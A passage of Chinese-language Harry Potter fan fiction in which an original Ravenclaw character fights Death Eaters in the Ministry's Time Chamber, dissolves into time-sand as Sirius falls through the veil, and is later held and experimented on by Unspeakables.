其中一个食死徒没来得用铁甲咒,被闪电束击昏在地,另外两个急忙挥动魔杖,用处铁甲咒。但是护盾只能抵消雷电伤害,他们没有算上被水加强的那部分。
电流猛击蹿向他们的周身,他们不得不停滞脚步——
“就是现在!”哈利喊道。
几乎不用他提醒。
“障碍重重!”罗恩挥动魔杖,指向为首的食死徒,金妮的魔杖迸发出一阵红光,和她的哥哥同时攻击。
“昏昏倒地!”
食死徒一跤绊倒,而后被击向身后的桌椅,一阵倒塌的声音过后,他被埋在废墟下方。
另一个食死徒举起魔杖。
“阿瓦达——”
“除你武器!”
哈利大声说。
“速速膨胀!”“昏昏倒地!”纳威和卢娜同时喊。
食死徒瞬间肿胀成四倍大,他的身体像气球一样充气,飞离地面,魔杖脱手而出。死咒被打断,他晕了过去。
房间内安静下来。
“刚才那个咒语太棒了,克洛娜。”卢娜说。
金妮可惜道:“真应该对乌姆里奇也用一下这个咒语!”
“我们在哪里?”罗恩问道。
“时间厅。”哈利说,他指向一个方向,“那里有很多时间转换器。”
地上的水面反射死寂的白光,闪电束已经失效了,克洛娜环顾四周,大部分时间转换器都在刚才的打斗中被摧毁,有些是因为食死徒的爆破,有些是因为克洛娜的闪电,另一些则是被食死徒飞出去的身体砸坏的。
金色碎玻璃泛着水晶般的光泽,有些时间转换器并没有完全被摧毁,但里面的沙子已经漏光了。
沙子极其细腻,几乎看不出是颗粒,反而像是风中弥漫的烟尘,或是魔法形成的光亮,它们呈现出无杂质的白色,这件屋子里没有风,沙子却围绕着地面缓缓盘旋,如水流般流淌。
仔细观察,这些沙子似乎并不是无规律地漂浮,而是正在组合在一起,汇聚,形成一个白色的影子,又散开,变成一团无形的东西,接着再次汇聚。
被食死徒撞毁的那些时间转换器碎片,白色沙子正在重复展示出食死徒被击晕时的影像。
无数层幻影重合在一起,白沙组成的食死徒反反复复跌倒,摆放沙漏的架子倒塌,接着迅速回归原位,又被食死徒撞倒,哗得一下四散摔破。
“这些是什么呀?”金妮问。
“时间之沙。”卢娜空灵的声音说,她的目光一直看着自己的鞋尖,语气饶有兴趣,“你们看自己的脚下。”
他们都低头看去。
宁静的水面宛如一面镜子,映着上方的屋顶,以及站在时间厅中的众人。
但是他们脚下的不只有影子。
水面上的倒影对应着他们本人,周围还有模糊的轮廓,这些轮廓与那些时间转换器中的白色细沙别无二致,但却十分模糊,如同一条条暗淡的光带,向着四面八方延伸而去,如同虚幻的、沙子做成的静态雕塑,每个沙影都分裂出许多不同的分支,相互重叠在一起,越向远方的就越模糊,几近透明,一直蔓延到房间的尽头,永无止境。
“真见鬼——”罗恩自言自语道。
距离他们越近的白色沙影,轮廓也越明显。
这些影子前面的分支在攻击食死徒,后面的分支向门外跑去。左右和斜侧的不同分支中,纳威背着赫敏向一个方向逃走,而哈利留下来应对食死徒,这条沙影中没有罗恩和金妮,还有一道影子中,食死徒的脑袋被房间中的某个玻璃罩扣住,接着变成了婴儿。
他们还看到其中一个分支里哈利被食死徒击中了,他们带走了预言球,而另一个分支的赫敏并未昏迷过去,而是与他们并肩作战。
“这是不同的时间线,”卢娜惊叹道,“还有不同的我们。”
他们前一秒做过的动作,和后一秒即将要做的动作,都被时间之沙印刻下来,形成透明的,光影般的形状。分支太多了,庞大到普通人眼根本无法辨认出具体内容,每个影子都以其独特的规律拼合拥挤在一起,如同置身于梦境当中。
“克洛娜……”金妮叫出声,“你的影子只有一半!”
在场的所有人的脚下都围绕着一团白沙形成的影子,只有克洛娜脚下的影子只向前方伸展,模模糊糊可以辨认出她举起魔杖,念出咒语的样子,以及金妮和罗恩架着她的双臂,将她从另一个房间转移到这个房间的过去。
而代表未来的影子……
那边是空荡荡的。
克洛娜抬起头,和金妮对视,又看向卢娜。然而就连卢娜也没办法给出解释,一阵莫名的恐惧从克洛娜的心底升起,令人毛骨悚然。
为什么她没有未来?
每个人都有未来。<
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什么人会没有未来?
她的脑海中猛地闪过贝拉特里克斯喊出索命咒的声音。一刹那,她的视线中只剩下一阵强烈的绿光。
难道……
不可能。不,不不……
难道那阵绿光击中了她,她实际上已经死了,时间厅中发生的一切都是她临死之前,大脑彻底停止运作前为自己创造的幻境,难道这些都不存在?
她变成了鬼魂吗?
克洛娜感觉无法呼吸,她的双手冰冷,血液一瞬间似乎被抽离出了身体,心跳几乎也停滞了,恐慌让她一个字都吐不出来,眼前出现了白光,视觉差点消失了,她张口时感到五脏六腑都在翻腾。
“我死了吗?”
克洛娜喃喃问道。
“不!你还活着!”金妮立刻说。
“为什么我没有影子。为什么……”
“隐形兽也能预知未来,这就是为什么它们会隐形。”卢娜说。
金妮抢着说:“你看,你有一半影子。或许你的未来是不确定的。”
克洛娜魂不守舍地点了点头。
是的,金妮用雷鸣波救了她,她还没有死。要是在某个时间线中金妮没有用雷鸣波,可能那条时间线里,她已经一命呜呼了,但她此刻处于现在的这条时间线中,这条时间线中她是活着的。
“他们在这里!”
时间厅一侧的门猛地被魔法的力量拽开,惊人的爆裂声之后,食死徒闯了进来。
其中一个人留着金发,卢修斯·马尔福举起魔杖,他没有戴面具,或许根本不需要戴面具,因为他的身边还有另一群人。
他们穿着长风衣,已经不仅是最初哈利他们遇见的那群食死徒了,站在卢修斯身边的是贝拉特里克斯,还有一个瘦高苍老的男人。
那人带着宽沿帽,身穿呢子灰大衣,皮肤颜色淡得像幽灵,一双灰绿色的眼睛,如同秃鹫般盯着克洛娜。
魔法部的人。
他们——
他们是魔法部的人。
魔法部已经和伏地魔的食死徒为伍了。
“波特——把预言球交出来。”卢修斯·马尔福催促道。
“想都别想。”哈利说。
魔法部的那个人举起魔杖,哈利立刻攥紧了长袍里的预言球。
但他的目标不是哈利。
魔杖对准了克洛娜。
那人没有血色的嘴唇蠕动着,一连串古老的咒语吟诵而出,他的声音轻得像是微风,魔杖顶端发出了微光,整间屋子变得更加明亮,亮得无比刺眼,克洛娜感到自己的瞳孔仿佛被灼伤了,周围的时间之沙在咒语中旋转起来,被龙卷风吹动般,开始野蛮地盘旋。
贝拉特里克斯大笑起来。
“克洛娜!”金妮大叫道。
“除你武器!”哈利喊。
金妮和卢娜对魔法部的人念出咒语。“昏昏倒地!”“统统石化!”
那人轻轻一抬手,将三道咒语都弹开了。
时间之沙仍然在旋转,克洛娜举起魔杖,但她发现自己的魔杖融化了,在她的手中变成了亮白色的液体,滴落在地面的水潭中,嘶地一声,化作一缕烟。
什么……
旋风中,时间厅开始崩解,地面剧烈震动,裂缝从飓风的中心展开,黑暗张开血盆大口,将他们吞噬。
“别抵抗了,”卢修斯·马尔福说,他的嘴角拧出一个傲慢而得意洋洋的笑容,并且对哈利伸出手,“把预言球交出来,波特,没必要浪费时间。”
魔法部的人念完了咒语,他的魔杖迸发出一阵强光,克洛娜感到自己的身体向后飞去,像是一颗恒星在她的额头上爆炸,她的眼前变成盲白一片。
如同山体崩裂,时间厅向下塌陷而去。
12. 第 12 章
他们和碎石一起坠落,石块和白沙倾洒在他们身边。克洛娜重重地摔在石头上,肩膀被锋利的岩石划出了血。
她的骨骼像是被凿成了碎片,脏器肯定破裂了,因为她在自己的喉咙里尝到了血液的味道。
她的眼前还是一片白色。
疼痛让她无法挪动身体,呼吸的每一口空气都像刀子般划过她的肺腔。
不远处传来窸窸窣窣的声音。
克洛娜无法控制地咳嗽起来,吸入的空气中都是沙子。她的视力开始恢复,白色慢慢褪去,她下意识地伸手支撑自己,掌心碰到一把沙子。
时间之沙不再无休止的盘旋,此刻它们像是已经失去魔法的普通砂砾,静默地被石块压住。
克洛娜奋力眨眼,想以最快的速度恢复视觉。
她开始看到一些闪动的人影。
食死徒完好无损地降落,将他们团团围住。
其他人的状况也好不到哪里去,哈利正在奋力从地上爬起来,他的手中还抓着预言球——这东西竟然还没碎——赫敏还是没有苏醒,罗恩和金妮不知去向,或许被压在了石头下面,卢娜头发蓬乱,狼狈不堪,被食死徒用魔杖指着。
纳威挣扎着爬起来,现在他的脑袋也破了,血流如注。
他们正处于一个长方形的深坑中,周围叠着古罗马角斗场般的石阶,正中央则是悬挂着帷幔的拱门。
帷幔宛如沥青般漆黑,从后方传来不存在的说话声音。
克洛娜能看清东西的时候,哈利和纳威已经和食死徒战斗起来——与其说是战斗,不如说是单方面的折磨。
纳威向一个食死徒扑过去,贝拉特里克斯的钻心咒击中他,哈利手中紧紧攥着预言球,他们只剩下了两个人还有战斗的能力,克洛娜趴在地上,吞咽着喉咙里的咸腥液体。
她吃力地眯起眼睛。
那个如同秃鹫般瘦削的老人站在最高处的石阶上。
他冷酷地俯视着克洛娜。
帽檐将他的脸遮挡在阴影下,一尘不染的皮鞋踏住破碎的石头,就像生怕被灰尘染脏。
他并没有加入食死徒的战斗,只是居高临下地注视着食死徒和哈利,如同在看一场好戏。
接着,他对克洛娜举起魔杖。
克洛娜没有看到他念咒语,只见一道绿光向她飞来。
她必死无疑了。
然而下一秒。
她的胳膊猛地被拽了一下。
一只有力的手攥住她,将她整个人提起,离开地面。
像是被一颗横冲直撞的导弹拖拽,身体陡然倾向一个方向,但是大脑和内脏还留在远处,克洛娜几乎感到自己身体的零件在发出不堪重负的声音。
那只手紧紧钳着她,差点将她的胳膊折断。
克洛娜跌跌撞撞地向前跑了两步,抬起头。
一个高大的黑发男人出现在她的面前,将她拉向另一个方向。
男人身上穿着一件过分合身的黑色天鹅绒西装,衣领最上面的扣子没有系,松松地敞开,没有领结或者是领带一类的装饰——这样的衣服绝对不应该被穿来战场。他脸上覆盖着轻微的胡茬,头发垂在耳边和脑后,发梢因为奔跑而些许凌乱,随着动作而扬起优雅的弧度。
他在战斗的时候显得游刃有余,左手紧紧攥着克洛娜的胳膊,右手则挥舞魔杖,向那个魔法部的人甩出去一道凶猛的红色咒语。
但魔法部的人轻松躲开了,下一道绿光仍然瞄准克洛娜。魔法部的人似乎非杀了她不可,她根本搞不清楚为什么。
“过来——”
黑发男人说。
克洛娜还没站稳脚跟,手腕就再次传来一阵拉力,顷刻间,她被拽向黑发男人的另一侧。
一道道魔法令人眼花缭乱,他们展开攻击时的动作太快了,爆破咒语让碎石纷飞,克洛娜踉跄着试图跟上步伐,但只会让她更加狼狈。
大厅外,还有四个人闯了进来。
浅褐色头发中夹着许多白发,穿着补丁斗篷的是卢平教授,戴着魔眼,只剩下一条腿的是穆迪教授。后面是两个克洛娜并不认识的陌生人,其中一个皮肤黝黑,面色严肃,另一个长着一头紫罗兰色的头发。
克洛娜凝固的心脏似乎重新跳动起来。
有救了……
他们一定是凤凰社。
顿时,大厅中陷入一片混战。咒语横飞,碎石翻滚,与克洛娜他们之前应对食死徒时的惨状完全相反。
这些人都是成年巫师,可能还有傲罗。
克洛娜再次回头时,那个想要致她于死地的人已经消失了。
“你们得离开这里,哈利,带着预言球——”
黑发男人把克洛娜往哈利身边一推,简短地说。
瞬间,哈利翠绿色的眼睛透过镜片亮起光亮。
“小天狼星!”
小天狼星·布莱克深邃的灰色眼睛闪烁了一下,他没来得及再说什么,另一道来自食死徒的恶咒击向他,他敏捷地转身,将咒语弹开,魔杖倏地一刺,攻击他的食死徒在白光中倒地不起。
“我们走,克洛娜。”哈利说,他拉了一把克洛娜的袖子。
克洛娜趔趄着跑向前,被绊了一下,哈利已经奔跑到纳威的附近。克洛娜也试图奔跑,可是她一跤跌在了地上。
怎么……
就像中了绊腿咒,她的脚忽然不听使唤了。
克洛娜低头看向下方。
周围不停响起爆炸声,魔法划破空气的尖啸声,烈火的熊熊燃烧声,让波特交出预言球的粗哑喊声,食死徒与傲罗搏斗时咒语交锋的激烈碰撞声,蓦地,大厅中白光一闪,邓布利多的身影出现在乱石堆中。
没有人注意到克洛娜。
没有人知道,她的左脚脚踝正在化成白色细沙,散发着微弱的光芒,向空气中消散。
怎么了。
她这是怎么了。
魔咒不停照亮漆黑的大厅,克洛娜的世界剩下了一片静寂,她抬起手,望着自己的掌心。
她的手也透明了,变成了沙子。
某个方向传来了碎裂声,哈利的预言球掉在地上摔碎了,凤凰社的那个皮肤黝黑的男人开始对食死徒展开最后的攻击,他用咒语将他们一个个控制住,邓布利多的魔杖挥舞得如同闪电。
“咒立停……”
克洛娜无助地念道,她的声音也没有人能听得到。
“咒立停——愈合如初……”
咒语被混战声淹没。恐慌让她的声音越发微弱,眼泪并没有从她的眼眶里流出来,而是涌向喉咙,让呼吸变得又苦又涩。
消散还在继续。
她看到自己的眼前也开始出现白色细沙,意识到自己的脸也开始变得透明了。
小天狼星·布莱克蓦地闯入她的视野中。
克洛娜绝望地看向他。
救救我,她想说,救救我……
布莱克灰色的眼睛与她对视,克洛娜似乎恍然间看到了伤风,他们的眼神是一样的,不……不是伤风,是布莱克。
他的眼睛里有什么东西变化了。
就在一秒之间,那双灰色眼睛先是浮现出困惑不解,接着被某种沉重却十分冷寂的东西取代。
就像是他已经看到了结局。
不,不……
不……
忽然间,一道从身后袭来的红光击中克洛娜。那光芒从她的身体正中央穿过,像是洞穿了她的胸口。
布莱克的目光一凛,他没有浪费更多时间,直接向前踏了一步。
贝拉特里克斯疯狂的声音传来。
“又见面了,亲爱的小叛徒!”
原来这道魔咒是她发射的。
“你的胆量去哪了,贝拉?”布莱克抖了一下魔杖。
贝拉特里克斯大笑道:“你根本不配与我一战!”
“是吗。”
眨眼间,
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他们都高举魔杖,向对方打出凌厉的咒语。
攻击的魔咒碰撞在一起,燃起灼热的金光,谁都没有得手,所以紧接着,他们又对彼此打出了下一束咒语。
“你的帮手呢,堂弟?求求了——甜心詹姆,快来帮帮我,哦,亲爱的詹姆已经死了——”
“是你的主子施舍给你的自由,还是负责你的摄魂怪饿死了?”
“小泥巴种贱人把你忘在阿兹卡班不管了,是不是!”
“而你还是和以前一样无能,贝拉,怪不得伏地魔总是把你当成一条狗——”
“住嘴!你的脏嘴也配直呼他的名字?!”
“我可不会跪着舔他的鞋尖,这很难说——”
他们打斗时候从没有停止过侮辱对方。
咒语从空中疾掠而过,贝拉特里克斯的咒语被布莱克躲过或击偏,布莱克的咒语擦过贝拉的袍交或者被挡掉。
克洛娜则看向自己的心脏位置。
贝拉特里克斯刚才的咒语正好打穿这里。
她的身体正中央变成了一个巨大的空洞,边缘闪着白光,如同她是一张易燃的羊皮纸,而那道咒语从纸张中心开始燃烧,亮银色的细沙犹如烟丝,不停向空中飘散。
克洛娜忽然想到之前在玻璃钟罩里看到的那只鸟。她甚至伸手想要阻止身体消失,但她的手指早已经变成了细沙。
“得了,你可以做得更好!”
布莱克大声嘲笑道。
下一秒,贝拉特里克斯的咒语就击中了他。
他向身后的拱门倒去,帷幔寂静地浮动,逐渐包裹布莱克的肩膀,将他拖向黑暗。
布莱克的表情凝滞住了,他无比愕然,似乎没有料到自己的死。
只有一个瞬间,他的视线轻轻地从他的对手贝拉特里克斯的身上移开,轻微偏转角度,望向克洛娜正在变成细小沙砾的身体。
他们的视线在空中撞在一起。
帷幔轻盈得如同没有重量的丝绸,布莱克坠落下去,灰色眼睛失去焦点,生命之火熄灭了。
漆黑的帷幔缓缓飘荡着。
“小天狼星!——小天狼星!”
哈利撕心裂肺的喊声从后方传来。
“克洛娜……”
一个熟悉的声音震惊地说出她的名字。
卢平教授……
她没办法转过头,她的大部分身体都在消散。
“哈利,不要!”“哈利!”“哈利!”
一些人叫着哈利,哈利的身影向贝拉特里克斯逃走的方向狂奔过去。
“克洛娜,她怎么了?”
卢娜的声音在混乱的叫喊声中说道。
接着,克洛娜听到金妮难以置信地叫起她的名字。
“克洛娜!”
金妮的声音引起了邓布利多的注意。
邓布利多看向她的方向,他试图用咒语留住她的身体,但是无济于事。
此刻,所有人都发现了克洛娜正在消逝,白色沙子似乎被感觉不到的气流吹拂,将她送向未知的地方。
她看到卢娜的金发和金妮的红发。
金色和红色,这两种颜色混合在一起,如同夏日的太阳。
……
“嗨,我是金妮·韦斯莱,你是一个人吗?”
“是的。我是克洛娜,克洛娜·巴沙特。”
“你跟谁一起来的呀?”
“呃……麦格教授?”
“我也是今年的新生,我妈妈去抢洛哈特的亲笔签名了,这是什么书?”
“这个?《了解巫师界》。”
“怎么把书放回去了呢,你不是很喜欢吗?”
“我买不起。”
“哦!我家刚好有一本我哥哥剩下的。”
“……”
白色沙子将克洛娜吞没,金妮的声音被掩埋了。死亡距离她这么近,她几乎来不及去思考它。
整个世界归于无声。
13. 第 13 章
时间厅亮如白昼,尽管位于魔法部地下深层,这个房间似乎从来没有过阴影的痕迹。
轻盈的金色光线围绕着整个房间,纯白色的墙壁上空无一物,地面也没有任何东西。
整个房间里,只有中央摆放着一只巨大的鸟笼。
笼子大约有一人多高,没有栅栏。本应该是栅栏的位置,流淌着金色的魔法,顶部和底部都由魔法支撑,形成一层屏障。这种奇妙的,亮闪闪的金色魔法像是幕帘般无声地围绕成完美的圆弧形。
不停有神秘事务司的职员路过这个笼子,查看和记录,而后举起魔杖,让一束轻盈的、温柔的金色从杖尖流淌而出,汇入笼子外壁的魔法中。
这些职员通常被称为缄默人。
他们耗费数十年的时间研究其他人无法理解的事务,有时还会在神秘事务司内染上各种古怪的病症,但他们不被允许和外界谈起这里究竟发生了什么,否则就会面临更严重的反噬。
缄默人的装扮显然与时间厅格格不入。
他们穿着黑色、灰色的长外套或者正装,给大片大片的刺目白色与金色带来了唯一的色彩。
走进时间厅的时候,最好紧跟着缄默人,否则眼前只剩下盲白,眼球过不了多久就会开始灼痛,再过一段时间很有可能失去方向。如果不小心在这里迷失,再走出去的时候,说不定你会忽然发现自己已经变老了二十多岁。
“谁审的芒奇?”
一名缄默人问自己的同事。
“马法尔达。”
“你觉得是真的吗?”
“关于芒奇?”
“不,我是说,那个不能提名字的人渗透魔法部这件事。”
“谁知道呢。”
“唉!但是芒奇?不敢相信,他一直都恪尽职守。他是以什么罪名被捕的?”
“入侵伪劣防御咒及防护用品侦查收缴办公室和盗取泄露机密文件。”
“简直不可思议。是夺魂咒吧?可怜的芒奇,他连请辩护人的钱都没有,现在好了,余生都要在阿兹卡班——”
“有传言说神秘人正准备对阿兹卡班下手了。”
“是啊,现在这种情况,继续留在英国都是危险。你不走?”
“没有打算。”
“能走的话还是走吧。”缄默人从大衣中拿出一块怀表,除了罗马数字雕刻的时间,还有一串如尼文围绕在表盘周围,似乎刻着月份和日期,“下班了。”
“明天见。”
“再见。”
那名戴着怀表的缄默人转身离开了。他的同事则留在原处,又往笼子上修补了两个咒语。
他移走魔杖,平静地看着笼子底部蜷缩着的瘦小的身影。
那是个女孩,因为营养不良而瘦骨嶙峋,似乎一直依靠着魔法维持生命,很久都没有真正进食过了,魔法可以让她不至于饿死,就像尼克·勒梅的炼金术一样,但魔法并不能让她变得健康。她的皮肤泛着与时间厅中一切事物一样的惨淡白光,凌乱的头发披散在肩头,将她僵硬的身体埋住,几缕额发垂在她的脸颊旁边,后方露出一双颜色很浅的蓝眼睛。
这双眼睛无神而滞涩,瞳孔反射着笼子的金色魔法,但是却没有一点光芒。
就像是她已经死去很久了。
只有从她微微起伏的后背能看出她还是活着的。
一层洁白的布遮住她的身体,将她的四肢覆盖在下方,只是为了不让她衣不蔽体。布的边缘落进一层白色沙砾,胡乱团在一起。
细腻的白沙散落在笼子内的各处。与完全静止的,正在盯着一个角度的女孩相比,这些沙子似乎在缓慢地移动,像是天空的星云般,在移动的过程中,留下缕缕烟丝般的朦胧尾迹。
九个月了。
克洛娜·巴沙特一直困在这里。
她已经试过所有能用的办法,但却像是被封存在一个玻璃罩中,任凭怎么挣扎都无法逃离。
她只能通过那个神秘事务司职员的怀表得知外界的时间流逝。
眼前的一切都是白色与金色,光线刺痛她的眼睛,但她却无处躲避。
她试图从每天都能接触到的缄默人口中得到一点点信息。但他们就像是他们的称呼一样——缄默人,一直保持缄默。这些职员要么就是被施了保密魔咒,要么就是经过严格的训练,他们绝不会透露出神秘事务厅的任何东西,如同这部分记忆从他们的脑海中抹除了一样。
第一个月。
克洛娜在反抗。
她用力敲打魔法牢笼或者是以自己所知的所有咒语摧毁这面障壁,但她发现在这个牢笼中无法施展魔法,当她撞在屏障上的时候,就会被弹开。屏障不仅隔断了她和外界,也隔绝了魔法的力量,在笼子里,她变成了一个不能用魔法的麻瓜。
咒语,没有用。拳头和肩膀的撞击,也没有用。她还用了别的办法,试图让缄默人相信她昏迷不醒或者是突发疾病,还是没有用,他们会直接对她用复苏咒语……
第三个月。
克洛娜想结束自己的生命。
第五个月。
当她发现,就连结束自己的生命都做不到之后,她的思维开始变得飘忽、混乱,断断续续。没有人和她说话,她已经不在意自己的精神是否正在变得疯狂。
克洛娜意识到,自己似乎和那个被玻璃钟罩扣住的鸟一样,都在拼命挥动翅膀,但是却永远逃不出囚笼。
时间厅已经与克洛娜跟着哈利来时大不相同。
之前,魔法部的人炸了时间厅。
经过修复之后,这个房间里不再摆放各种各样的钟表、成排的时间转换器,以及堆在一起的桌子。克洛娜记得那些时间转换器大部分都被摧毁了,剩余的不知道去了哪里,或许也在时间厅的塌陷中破碎了,但是时间转换器沙漏内的沙子一直都在她的笼子里,在某种未知的魔法影响下,慢慢围绕着她的身体旋转。
克洛娜遇到的那个想杀了她的年迈男人,她听缄默人叫他莱斯特兰奇。
莱斯特兰奇确实在魔法部任职。
他会每个月定期检查一次克洛娜的状况。他的手下称呼他为“司长”,克洛娜对魔法界的纯血家族并不了解,但莱斯特兰奇这个名字格外耳熟,在她逐渐变得滞涩的脑子里激起了一层涟漪。莱斯特兰奇可能是纯血统家族中的一员,有权有势,他的手下都对他毕恭毕敬。
白发从莱斯特兰奇的鬓角一直延伸向脑后,他的皮肤干瘪,年纪大概超过了六十五岁,一双空洞的眼睛里面装着死气沉沉的目光,灰绿色将其衬得如同腐烂发臭的湖泊。
他似乎又不打算杀死克洛娜了,而是吩咐缄默人在克洛娜身上实验大量咒语。
但他们并没有得到想要的结果。
莱斯特兰奇似乎对此很失望。
“这就是全部了?”
“是的,司长。”
“继续。”他命令道。
“从哪个咒语开始?”他身边的缄默人问道。
莱斯特兰奇抬了一下眉毛,他转头向手下看去,缄默人立刻知道这是个不该问出的问题。
缄默人沉默了下来,双手拘谨地收拢在身前。
“每一个。”莱斯特兰奇说。
老者向后倒退了几步,抱起双臂,站在不远处,将笼子前的位置让给缄默人,如同观众般观看接下来会发生什么。
缄默人抽出魔杖。
倏然间,克洛娜感到一阵窒息。她似乎被一阵强大的魔法抛了起来,空气凝结成锋利的冰晶,让她无法呼吸,她的身体升向半空中,她极度恐惧地意识到,缄默人用的咒语似乎正在从她的体内榨取出她的魔法。
但是一如既往,他们什么结果都没有得到。
克洛娜重重地摔在地上。
她困难地呼吸着,匍匐在地面,紧紧依靠着坚硬的笼底,视线模糊,能看到的只有炽烈的白光,以及散落在她周围的沙子。
莱斯特兰奇背过身去,语气冰冷地问道:“一点痕迹都没有?”
“没有,司长,如果……不在巴沙特这里呢?”
“不可能,”莱斯特兰奇轻声说,他的声音冷漠而略显不耐烦,“继续。”
缄默人再次对克洛娜举起魔杖。
而莱斯特兰奇像是忽然觉得在这里浪费时间很没有意义,他抬头看了一会儿时间厅苍白的墙面,接着大踏步向门外走去。
……
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克洛娜并不知道她到底是怎么出现在这里的。
她最后的记忆是神秘事务司的帷幔。
周围都是碎石、尘土和咒语造成的爆炸痕迹。哈利正在往一个方向奔跑,小天狼星跌进帷幔,而金妮和卢娜蹲在她的面前,试图唤回她。
但是随后,他们瞬间消失,就像被沙子卷走了。
帷幔前空无一人,碎石不见踪影,地面干净得好似蜡油泼过一样,死一般的寂静蔓延到整个大厅,邓布利多、金妮和卢娜都不在这里。
克洛娜孤身一人跪坐在拱门前,漆黑的帷幔正在小声地对她说根本不存在的话。
发生了什么?
大家都去哪了?
克洛娜爬起来,她的双脚并没有变成沙子,手也不是透明的,她的长袍破破烂烂,在打斗中完全被毁了,尖锐的石头撕破了她的袍角,上面都是乱七八糟的血迹和灰尘。
摔伤的地方仍然在隐隐作痛,克洛娜一瘸一拐地绕过帷幔。
后方也什么都没有。
整个房间空旷而冷寂,连一个人影都看不见。
小天狼星死了,他们的营救任务失败了,一个魔法部的官员一直想杀了她,然后她变成了沙子。她以为自己也要死了,但是她现在好端端地站在这里,尽管浑身是伤,但疼痛让她确信自己肯定还是活着的,鬼魂可不会这么疼,她感觉自己的每一寸骨骼都被好几辆公交车碾过。
“谁在哪里——?”
克洛娜听到黑暗中传来一个陌生的声音。
那声音喋喋不休地对她喊道:“站远点,梅林的胡子!这里是不被允许进入的,你是负责哪个厅的?死刑厅已经关闭了——”
克洛娜回过头。
一个身穿西装,年龄在三十岁出头,长着一脸雀斑的魔法部职员皱着眉,急匆匆走下台阶,试图驱逐她。
“你好,”克洛娜说,“我是霍格……”
她顿了一下,改口道:
“……我是魔法法律执行司的实习生,我迷路了。”
长雀斑的魔法部职员立即开始抱怨。
“法律执行司的?怎么迷路才能迷路到死刑厅来?你简直昏了头了,赶紧离开这儿,别碰那个帷幔,如果你不想再也出不来的话,离那边远点。”
“不好意思。”克洛娜说。
“走这边!”魔法部职员说,他指了一下石头阶梯上方的一道门,“真是的,现在的新人都怎么回事,法律执行司的跑到这里做什么——”
克洛娜登上台阶,她打开门,刺目的亮光晃得她睁不开眼睛。一时间,她看不清任何东西。
时间厅。她想道。
几个模模糊糊的人影在她打开门的同时向她看过来。
“是个法律执行司的实习生,司长,”给她指路的那个魔法部职员的声音说,“走着走着就迷路了,竟然在死亡帷幔旁边打转,真是奇了怪了!”
“迷路的?”
一个低沉的声音问。
魔法部里没有人认识她,克洛娜想,他们不会知道她实际上是个霍格沃茨的学生,她穿的是素面长袍,巫师界每个人都这么穿。就算这些魔法部的官员当中有人是食死徒党羽,他们也不可能在光天化日动手攻击她,这里是魔法部,食死徒暴露身份一定会被捕的。
克洛娜点头。
她眯起眼,看清强光中的事物变得更难了。
一定是之前的爆炸给她的视力造成了伤害。
“是的,”克洛娜说,“刚才不小心跌倒了。”
如果她现在手里有魔杖,就可以对自己的衣服用清洁咒和变形咒,让它们看着更成熟一点,以伪装自己的身份。
但是她的魔杖被毁了。
只需要走出魔法部,她就能找到办法回到霍格沃茨……
“司长,我看到的是真的?”
时间厅中的某个声音说道。
“确实。”
另一个声音回答。
昏迷咒的红光直击克洛娜的胸口,甚至没有给她留下一点反应时间。
“……什么!”克洛娜听到满脸雀斑的那个魔法部职员惊呼道。
她倒向地面。
14. 第 14 章
克洛娜转醒后发现她已经被困在笼子里了。
神秘事务司的缄默人用一种特殊的魔法保证她不死。
她活着,代谢基本停滞,或者很慢。她不需要吃东西,也睡不着觉,这样她就没有理由离开笼子了。
这种魔法一定是消耗性的,或许是黑魔法,因为她每一天都在变得更虚弱。克洛娜不知道自己还能活多久,要是她一直被困在这里,她的生命迟早有一天会消耗殆尽。
头发一直在生长,这证明她的时间还是在流逝中,而不是彻底凝固了。它们变得枯黄无光泽,如同冬天发白的稻草,在漫天大雪中褪色。
最开始的几天,克洛娜饿得头晕目眩,手脚无力,浑身发冷。
而后,她的胃似乎缩成了石头,不再咕咕乱叫或者扭成一团,她甚至没有一点力气,或许这也是他们控制她的一种手段。她像是一颗植物一样逐渐枯萎。
如果给她一个机会,她会不假思索地从死亡帷幔跳下去,就算再也出不来,魂飞魄散,或者是变成幽灵,也好过被囚禁在这里,睁开眼只能看到一片白色。
时间厅的光线对她的眼睛产生了更大的影响,现在远处的东西她都有些看不清了,她感觉伤害是永久性的。
在魔法部内部提出申请法律援助是不现实的,哪怕他们正在施行非法监禁。
神秘事务司能够越过法律,游走在法律之外。他们保持着实验的绝密性,没有人知道他们在做什么实验,也没有人知道神秘事务司中是否还关着更多的人。
克洛娜感觉他们是想从她身上找到什么。
是她的魔法吗?
还是,她的记忆?
克洛娜必须让自己的脑子动起来,她的身体被关在这里了,思考或许是她能得到的唯一的自由。
她仿佛又回到了在姨妈家的时候,在安静的发愣中度过一天是她生活的常态,而现在,她的生命中只剩下了安静和发愣。
到底是为什么。
缄默人日复一日地做实验,而克洛娜也日复一日地思考着这个问题。
她的脑海里堆满了各种各样的猜测,如果这些人是为了伏地魔工作的,那么她还有什么对神秘人来说特别有价值的东西?
邓布利多给她的那个字条,难道他们在寻找凤凰社的指挥部吗?
不,不会是凤凰社,凤凰社的其他成员脑子里也有这个秘密,他们带走克洛娜有什么用呢,她知道指挥部的地址,可是邓布利多随时都有可能将指挥部转移。只是因为她碰巧出现在了时间厅,所以他们就将她囚禁在这里了?
这个理由太牵强了,更何况,有关于那张字条的事情除了克洛娜只有邓布利多本人和哈利·波特三人组知道,克洛娜感到毛骨悚然,她不想怀疑邓布利多,但如果,这张字条也是邓布利多设下的陷阱呢?
可是怎么可能,邓布利多是有史以来最伟大的巫师,他为什么要陷害一个还不到十七岁的拉文克劳学生。
一定还有别的原因,一定还有……
一个让神秘事务司的人不惜违反法律,也要扣押霍格沃茨普通学生的原因。
邓布利多不可能是黑巫师,克洛娜分明记得她的身体变成沙子的时候,邓布利多想要救她。
但如果……那是个恶咒呢?
克洛娜对邓布利多的印象是开学典礼时演讲的校长,以及巧克力蛙中的卡片。为什么魔法部长福吉那么害怕邓布利多?因为邓布利多是唯一一个能击败伏地魔的人?说到底,伏地魔到底做了什么,他杀了塞德里克·迪戈里,十多年的巫师战争又发生过什么事情,魔法界真实存在吗?还是说这只是克洛娜做的一场梦,实际上她现在还在她的玛丽姨妈家里,霍格沃茨的猫头鹰从未飞到她的窗台上,她也从来没有见过麦格教授,她和表姐睡一间房,正被困在无尽的梦魇中……
克洛娜的思绪再次变得混乱,脑海中的声音在大声嘶喊着梦境的理论。
……
“你们在寻找什么?”
缄默人来到笼子前加固屏障魔咒的时候,克洛娜听到自己的声音问道。
她几乎没有意识到自己说出了这句话,她的灵魂似乎已经和身体分解了。
当然了,缄默人根本没有回答她,如同克洛娜的声音只有她自己能听得到。
这时,时间厅的大门倏然打开了。
